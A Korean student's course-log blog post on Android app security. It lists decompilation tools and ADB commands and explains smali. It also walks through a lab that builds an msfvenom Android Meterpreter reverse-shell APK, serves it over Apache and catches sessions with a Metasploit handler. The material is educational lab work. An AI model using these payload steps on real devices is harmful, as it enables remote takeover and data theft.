어플리케이션 보안 & 취약점 진단
[ Android 안드로이드 ]
▶ 컴파일 / 디컴파일 도구 ⭐
진단 도구 | 설명 |
ADB | 애뮬레이터 혹은 안드로이드 단말과 통신을 위한 명령 수행하는 콘솔(쉘 명령) 등 제공 패키지 설치, 삭제 가능 |
Apktool | APK 디컴파일 및 리패키징 도구 |
Dex2Jar | DEX 파일을 자바 클래스 파일로 변환 |
JD-gui | 디컴파일 및 Java 코드 분석 도구 |
Keytool | APK 파일 서명 위한 키생성 도구 |
Jarsigner | 리패키징 된 APK 파일에 서명 위한 도구 |
▶ ADB 명령어 ⭐
명령어 | 설명 |
adb devices | pc와 연결된 디바이스 및 에뮬레이터 연결 목록 확인 |
adb install [파일명.apk] | 디바이스에 apk 파일 설치 |
adb uninstall [패키지명] | 디바이스에 설치된 패키지 삭제 |
adb push [pc 경로] [안드로이드 경로] | PC에 저장된 파일을 디바이스에 복사 |
adb pull [안드로이드 경로] | 디바이스에 저장된 파일을 pc로 복사 |
adb shell | 연결된 디바이스 쉘 실행 |
adb logcat | 연결된 디바이스 로그 모니터링 |
adb connect 127.0.0.1:62001 | 127.0.0.1의 62001 포트에 adb 연결 |
adb shell pm list package | 연결된 디바이스에 설치된 모든 패키지 목록 확인 |
adb shell pm list permissions | 연결된 디바이스의 어플리케이션에 대한 권한 목록 |
▶ 컴파일 Compile : 사람이 이해하는 언어를 컴퓨터가 이해할 수 있는 언어로 바꿔주는 과정
- 원시코드 : 우리가 작성한 코드
- 목적 코드 : 컴퓨터가 이해할 수 있도록 번역한 코드
▶ 디컴파일 Decompile ⭐ : 컴파일된 실행 파일을 소스코드로 되돌리는 작업
= 우리가 읽을 수 있는 언어로 변환해주는 과정
= Reverse Engineering
💡오늘의 실습!
베놈과 메타스플로잇을 이용해 안드로이드 악성 코드를 만들어보고 배포?해보자!
실습 환경 : VMware 상에서 Kali Linux 가동
⚠️ 이미지의 네트워크는 NAT로 설정하자!
sudo apt-get update && apt-get upgrade -y
1. 웹페이지 오픈
sudo service apache2 restart
⚠️ Nox의 인터넷 브라우저에서 ip에 접근하여 잘 작동되는지 확인하기 (하단 결과화면 참고)
2. 안드로이드 악성 코드 생성
msfvenom -p android/meterpreter/reverse_tcp LHOST=[이미지 IP주소] LPORT=[서비스 포트번호] R > [apk 파일]
3. 악성 코드를 웹에 배포
sudo cp [apk 파일명] /var/www/html
4. 메타스플로잇 콘솔 실행
msfconsole
5. 핸들러 설정
use exploit/multi/handler
6. 페이로드 설정
set payload android/meterpreter/reverse_tcp
7. 메타스플로잇 IP 설정
set LHOST [이미지 IP주소]
8. 서비스 포트 설정
set LPORT [포트 번호]
9. 여러 세션이 동시 접속이 가능하도록set exitonssion false
10. 백그라운드 실행exploit -j
이제! Nox의 인터넷 브라우저에서 'http://[이미지 IP 주소]/[apk 파일]'로 이동하면 악성 코드 파일이 다운 받아진다.
그럼! VMware 상에서 서비스 포트가 잘 붙었고 접속해있음 또한 확인할 수 있다.sessions
💡오늘의 실습!
adb 명령어 사용과 apk파일 디컴파일하기
1. adb.exe 파일이 있는 디렉토리로 이동한다
cd C:\경로\
2. 장치 검색
adb devices
3. 디바이스 연결
⚠️ usb 연결 없이 네트워크로 접속한 것adb connect [로컬IP]:62001
⚠️ 62001은 Nox의 고유한 포트번호라고 합니다!
다시 2번의 명령어를 통해 장치검색을 하면 제대로 디바이스가 Nox와 연결된 것을 확인할 수 있다.결과화면 List of devices attached 127.0.0.1:62001 device
4. adb 쉘에 연결하고 프롬프트 띄우기adb shell
5. Nox에 있는 파일을 pc에 저장하기adb pull /data/app/파일명/복사할 파일명
6. Nox에서 파일 삭제하고 cmd 상에서 다시 설치해보기adb install 위에서 복사한 파일명
7. cmd 상에서 Nox에 설치되어 있는 파일 삭제하기
adb uninstall [패키지명]
⚠️ 패키지명은 아래 명령어로 확인 가능
adb shell ps
8. apk 파일 디컴파일 하기 ⭐
- 디컴파일 명령어
apktool d [디컴파일할 apk 파일이 있는 경로]
java -jar apktool_2.5.0.jar d [apk 파일]
✏️ 나를 위한 구체적인 공부
Q. 디컴파일이 완료되면 폴더가 생성되는데 그 안에 'smali'?
A) 'smali' 코드란 DEX 바이너리를 사람이 읽을 수 있도록 표현한 언어
- Dalvik 바이트 코드를 위한 어셈블리 언어
- 안드로이드 리버싱 엔지니어링 할 때 사용
- smali 코드를 해석해 프로그램의 실행원리를 파악 가능
- smali는 재컴파일이 가능하기 때문에, 코드를 수정하고 재컴파일함으로써 프로그램 자체 수정 가능
Q. APK Decompile 디컴파일
A) 'Apktool', 'dex2jar'을 이용해 디컴파일 하기
ㄴ Q1. APK 디컴파일 가능?
ㄴ A1) APK는 압축파일로 이루어져 있기 때문에 Apktool 도구를 이용해 압축 해제하고, 해제한 파일인 DEX 파일을 다시 jar 파일로 변환하여 수정이 가능함. 즉, APK도 결국 압축 해제가 가능하기 때문에 디컴파일 가능!
ㄴ Q2. 그럼 압축만 풀 수 있으면 모두 디컴파일 가능하단 애기?
ㄴ A2) ...
- 내부 파일을 확인만 할 경우
: APK 파일을 jar 파일로 변환하여 jar 파일을 보면 됨
- 파일을 수정하고 앱을 재빌드 하는 경우
: 파일을 수정하는 경우에는 APK 파일 압축을 풀어 그 안에 있는 dex 파일을 jar 파일로 변환하고 변환된 jar 파일을 수정하고 다시 APK 파일을 재빌드
오늘의 후기 : 아.. 머리아프다
'SeSAC > 어플리케이션 보안 & 취약점 진단' 카테고리의 다른 글
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 9, 10일차 (2) | 2023.11.23 |
---|---|
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 8일차 (0) | 2023.11.22 |
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 5, 6일차 (2) | 2023.11.21 |
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 4일차 (0) | 2023.11.16 |
[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 3일차 (0) | 2023.11.16 |